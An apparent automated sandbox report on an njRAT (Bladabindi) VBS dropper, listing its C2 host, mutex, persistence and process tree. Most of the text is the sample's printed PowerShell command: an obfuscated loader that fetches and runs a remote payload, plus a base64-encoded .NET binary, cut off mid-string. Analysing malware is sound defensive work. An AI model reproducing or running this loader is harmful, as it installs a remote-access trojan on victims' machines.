Analysis

  • max time kernel
    150s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2023, 10:10

General

  • Target
    CARPETADEFOLIOYACTAENTREG.vbs
  • Size 217KB
  • Sample230709-l7mgnacc45
  • SHA256 7bec8c3246503b9a6af722a1f3316a2237b1403042b1879bf2372c4dd3a54d83
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • njrat

Version
  • 0.7NC

Botnet
  • NYAN CAT

C2
  • nj0509.duckdns.org:0509

Mutex
  • 6ce9672712ba4490be

Attributes
  • reg_key

    6ce9672712ba4490be

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CARPETADEFOLIOYACTAENTREG.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J❤BM❤Eg❤ZwBL❤C❤❤PQ❤g❤Cc❤JQBJ❤Gc❤aQBJ❤Gs❤JQ❤n❤Ds❤WwBC❤Hk❤d❤Bl❤Fs❤XQBd❤C❤❤J❤Bm❤HU❤VQBO❤C❤❤PQ❤g❤Fs❤UwB5❤HM❤d❤Bl❤G0❤LgBD❤G8❤bgB2❤GU❤cgB0❤F0❤Og❤6❤EY❤cgBv❤G0❤QgBh❤HM❤ZQ❤2❤DQ❤UwB0❤HI❤aQBu❤Gc❤K❤❤g❤CQ❤T❤BI❤Gc❤Sw❤u❤HI❤ZQBw❤Gw❤YQBj❤GU❤K❤❤n❤CcyojLC❤yc❤L❤❤n❤EE❤Jw❤p❤C❤❤KQ❤7❤Fs❤UwB5❤HM❤d❤Bl❤G0❤LgBB❤H❤❤c❤BE❤G8❤bQBh❤Gk❤bgBd❤Do❤OgBD❤HU❤cgBy❤GU❤bgB0❤EQ❤bwBt❤GE❤aQBu❤C4❤T❤Bv❤GE❤Z❤❤o❤CQ❤ZgB1❤FU❤Tg❤p❤C4❤RwBl❤HQ❤V❤B5❤H❤❤ZQ❤o❤Cc❤QwBs❤GE❤cwBz❤Ew❤aQBi❤HI❤YQBy❤Hk❤Mw❤u❤EM❤b❤Bh❤HM❤cw❤x❤Cc❤KQ❤u❤Ec❤ZQB0❤E0❤ZQB0❤Gg❤bwBk❤Cg❤JwBS❤HU❤bg❤n❤Ck❤LgBJ❤G4❤dgBv❤Gs❤ZQ❤o❤CQ❤bgB1❤Gw❤b❤❤s❤C❤❤WwBv❤GI❤agBl❤GM❤d❤Bb❤F0❤XQ❤g❤Cg❤JwB0❤Hg❤d❤❤u❤Go❤bg❤5❤D❤❤NQ❤w❤C8❤Nw❤5❤DQ❤M❤❤0❤DM❤NQ❤0❤Dk❤Ng❤x❤DQ❤NQ❤2❤DU❤Ng❤y❤DE❤MQ❤v❤D❤❤N❤❤3❤DU❤M❤❤0❤Dk❤N❤❤1❤D❤❤Mw❤2❤Dk❤OQ❤w❤DM❤MQ❤x❤DE❤LwBz❤HQ❤bgBl❤G0❤a❤Bj❤GE❤d❤B0❤GE❤LwBt❤G8❤Yw❤u❤H❤❤c❤Bh❤GQ❤cgBv❤GM❤cwBp❤GQ❤LgBu❤GQ❤Yw❤v❤C8❤OgBz❤H❤❤d❤B0❤Gg❤Jw❤p❤Ck❤';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('❤','A') ) ).replace('%IgiIk%','TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN2VK9EAAAAAAAAAAOAAIiALAVAAAFAAAAAGAAAAAAAAZm8AAAAgAAAAgAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABFvAABPAAAAAIAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAABobgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAbE8AAAAgAAAAUAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAgAAAAAQAAABSAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABFbwAAAAAAAEgAAAACAAUAFCQAAGwZAAABAAAAAAAAAIA9AADoMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKBcAAAoqJgACKBgAAAoAKqZzGQAACoABAAAEcxoAAAqAAgAABHMbAAAKgAMAAARzHAAACoAEAAAEKhMwAQAQAAAAAQAAEQB+AQAABG8dAAAKCisABioTMAEAEAAAAAIAABEAfgIAAARvHgAACgorAAYqEzABABAAAAADAAARAH4DAAAEbx8AAAoKKwAGKhMwAQAQAAAABAAAEQB+BAAABG8gAAAKCisABioTMAIAPAAAAAUAABEAfgUAAAQUKCEAAAoLBywhcgEAAHDQBQAAAigiAAAKbyMAAApzJAAACgwIgAUAAAQAAH4FAAAECisABioTMAEACwAAAAYAABEAfgYAAAQKKwAGKiIAAoAGAAAEKhMwAwAmAAAABwAAEQAoCAAABnIxAABwfgYAAARvJQAACigmAAAKCwd0BQAAGworAAYqVnMNAAAGKCcAAAp0BgAAAoAHAAAEKh4CKCgAAAoqEzABAAsAAAAIAAARAH4HAAAECisABioAEzABAAsAAAAIAAARACgOAAAGCisABioeAigpAAAKKgAbMAcABgEAAAkAABEAAHJNAABwKCoAAAoNCSwDACtFAHMrAAAKEwRzLAAAChMFEQUXby0AAAoAEQVygQAAcG8uAAAKABEFcvUAAHBvLwAACgARBBEFbzAAAAoAEQRvMQAACiYAfjIAAApymgEAcBdvMwAACgoGcvYBAHByTQAAcG80AAAKAAZvNQAACgBzNgAACgIoNwAACig4AAAKCwcoNwAACgtyCAIAcAwIck4CAHAoOQAACgwoOgAACigLAAAGbzsAAApyZgIAcG88AAAKcpACAHBvPQAAChQYjRcAAAElFghymAIAcCg5AAAKoiUXByg+AAAKom8/AAAKJt4QJShAAAAKEwYAKEEAAAreAAAqAAABEAAAAAABAPP0ABAlAAABEzACABIAAAAKAAARAAIDKCYAAAooQgAACgorAAYqAAATMAEADAAAAAsAABEAAihDAAAKCisABioTMAEAEAAAAAwAABEA0AkAAAIoIgAACgorAAYqEzABAAwAAAANAAARAAIoRAAACgorAAYqEzACAB0AAAAOAAARAAKMBgAAGxT+AQsHLAgoAQAAKworBQACCisABiomAAP+FQYAABsqJgACKCkAAAoAKgAAABMwAgA1AAAADwAAEQACe0YAAApvRwAACgsHjAkAABsU/gEMCCwUKAIAACsLAntGAAAKB29IAAAKAAAABworAAYqUgACKCkAAAoAAnNJAAAKfUYAAAoqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAAB0CAAAI34AAOAIAAAcCQAAI1N0cmluZ3MAAAAA/BEAALACAAAjVVMArBQAABAAAAAjR1VJRAAAALwUAACwBAAAI0Jsb2IAAAAAAAAAAgAAAVcVogkJDwAAAPoBMwAWAAABAAAANQAAAAoAAAAIAAAAGgAAAAUAAABJAAAAQAAAAA8AAAAFAAAACgAAAAsAAAAJAAAAAQAAAAMAAAABAAAAAgAAAAMAAAACAAAAAADuBAEAAAAAAAYAtAObBwYAIQSbBwYAiwLcBg8ACQgAAAYA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AAD/AEACAgAEAAMAAgAFAAUAAgAGAAcAAgAHAAkAAgAIAAsAAgAJAA0AAQAKAA0AAgALAA8AAgAOABEAAgAPABMAAgAZABUALgA1ADwAQwCgAFQBagF5AYABBIAAAAEAAAAAAAAAAAAAAAAAVAAAAAQAAAAAAAAAAAAAAI4BsQAAAAAABAAAAAAAAAAAAAAAjgEABQAAAAAKAAAAAAAAAAAAAACXAboAAAAAAAAAAAABAAAA5wcAAAkABAAKAAQAAAAQABQAfAAAABAALQB8AAAAAAAvAHwAiwBdAYsAgwEAAAAAAENvbnRleHRWYWx1ZWAxAFRocmVhZFNhZmVPYmplY3RQcm92aWRlcmAxAENsYXNzMQBnZXRfQ2xhc3NMaWJyYXJ5MQBNaWNyb3NvZnQuV2luMzIAQ2xhc3NMaWJyYXJ5MwA8TW9kdWxlPgBMQWJXSksAU3lzdGVtLklPAFQARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AUHJvamVjdERhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAExvYWQAU3luY2hyb25pemVkAEdldE1ldGhvZABDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2UAZGVmYXVsdEluc3RhbmNlAGluc3RhbmNlAEdldEhhc2hDb2RlAEludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBGaWxlAHNldF9XaW5kb3dTdHlsZQBQcm9jZXNzV2luZG93U3R5bGUAc2V0X0ZpbGVOYW1lAEdldFR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAE1ldGhvZEJhc2UAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAENsb3NlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBEZWJ1Z2dlckhpZGRlbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAU2V0VmFsdWUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAHNldF9TdGFydEluZm8AUHJvY2Vzc1N0YXJ0SW5mbwBtX0FwcE9iamVjdFByb3ZpZGVyAG1fVXNlck9iamVjdFByb3ZpZGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAGdldF9Vc2VyAEN1cnJlbnRVc2VyAGdldF9Db21wdXRlcgBNeUNvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdzAGdldF9TZXR0aW5ncwBNeVNldHRpbmdzAFJlZmVyZW5jZUVxdWFscwBSdW50aW1lSGVscGVycwBQcm9jZXNzAHNldF9Bcmd1bWVudHMARXhpc3RzAENvbmNhdABHZXRPYmplY3QATXlQcm9qZWN0AFN5c3RlbS5OZXQAZ2V0X0RlZmF1bHQAV2ViQ2xpZW50AFN0YXJ0AENvbnZlcnQAbV9Db250ZXh0AENsYXNzTGlicmFyeTMuTXkAT3BlblN1YktleQBSZWdpc3RyeUtleQBnZXRfQXNzZW1ibHkAUmVnaXN0cnkATXlTZXR0aW5nc1Byb3BlcnR5AAAAAAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAuAFIAZQBzAG8AdQByAGMAZQBzAAAbQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAAM0MAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwARABlAGIAdQBnAC4AdgBiAHMAAHNDADoAXABXAGkA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FysBFiwAfgEAAARvCQAACgoGKgATMAEAEwAAAAIAABEXKwEWLAB+AgAABG8KAAAKCgYqABMwAQATAAAAAwAAERcrARYsAH4DAAAEbwsAAAoKBioAEzABABMAAAAEAAARFysBFiwAfgQAAARvDAAACgoGKgATMAIAVwAAAAUAABF+BQAABBQoGwAACgsWKwEWRQMAAAACAAAAIgAAACsAAAArMgcsJnIBAABw0AUAAAIoEAAACm8cAAAKcx0AAAoMFyvNCIAFAAAEGCvEfgUAAAQKGSu7BioAEzABAA4AAAAGAAARFysBFiwAfgYAAAQKBioeAoAGAAAEKlZzDAAABigeAAAKdAYAAAKABwAABCoeAigfAAAKKhMwAQAOAAAABwAAERcrARYsAH4HAAAECgYqAAATMAEADgAAAAcAABEXKwEWLAAoDQAABgoGKh4CKBMAAAoqAAATMAQAQwAAAAgAABEXCwJ+IQAACgMXKBsAAAYMFisBFkUDAAAAAgAAAAoAAAATAAAAKxoILAcXChcr5SsQBxfWCxgr3AcbMcYWChkr0wYqABswCgCoBQAACQAAEXIxAABwAigiAAAKDBYrARZFBAAAAAUAAAAQAAAAGwAAACYAAAA4fAUAABID/hUMAAACFyvbEgT+FQsAAAIYK9ASAxZ9GAAABBkrxRID0AwAAAIoEAAACigjAAAKuH0NAAAEAygkAAAKFv4BExIWKwEWRSoAAAAFAAAAHAAAAEQAAABeAAAAcQAAAIMAAACSAAAAogAAAL8AAADlAAAA/QAAAB4BAAA3AQAAVQEAAHMBAACHAQAApwEAALsBAADJAQAA6AEAAPYBAAAfAgAAOgIAAE0CAABaAgAAZAIAAH0CAACRAgAApQIAALMCAADLAgAA4QIAAAYDAAAeAwAAPQMAAF4DAAB8AwAAhwMAAKADAACxAwAAzwMAAPUDAAA4EgQAABESLBMIcj0AAHADKCUAAAoMFzg3////Agh+JgAACn4mAAAKFhp+JgAAChQSAxIEKBAAAAYW/gETExg4D////xETLAZzJwAACnoEHzwoKAAAChMFGTj1/v//BBEFHzTWKCgAAAoTBho44v7//yCzAAAAjQoAAAETBxs40P7//xEHFiACAAEAnhw4wf7//ygpAAAKGv4BExQdOLH+//8RFCwlEQR7CgAABBEHKBEAAAYW/gETFR44lP7//xEVLAZzJwAACnorJBEEewoAAAQRBygSAAAGFv4BExYfCThu/v//ERYsBnMnAAAKehEHHymUEwgfCjhW/v//EQR7CQAABBEIHtYSCRoSASgVAAAGFv4BExcfCzg1/v//ERcsBnMnAAAKehEGEQn+ARMYHww4HP7//xEYLCQRBHsJAAAEEQkoFwAABhb+AxMZHw04/v3//xEZLAZzJwAACnoEEQUfUNYoKAAAChMKHw444P3//wQRBR9U1igoAAAKEwsfDzjM/f//EQR7CQAABBEGEQogADAAAB9AKBgAAAYTDR8QOKz9//8FLQcRDRb+ASsBFhMaHxE4mP3//xEaLCkXEwwfEjiK/f//EQR7CQAABBYRCiAAMAAAH0AoGAAABhMNHxM4a/3//xENFv4BExsfFDhd/f//ERssBnMnAAAKehEEewkAAAQRDQ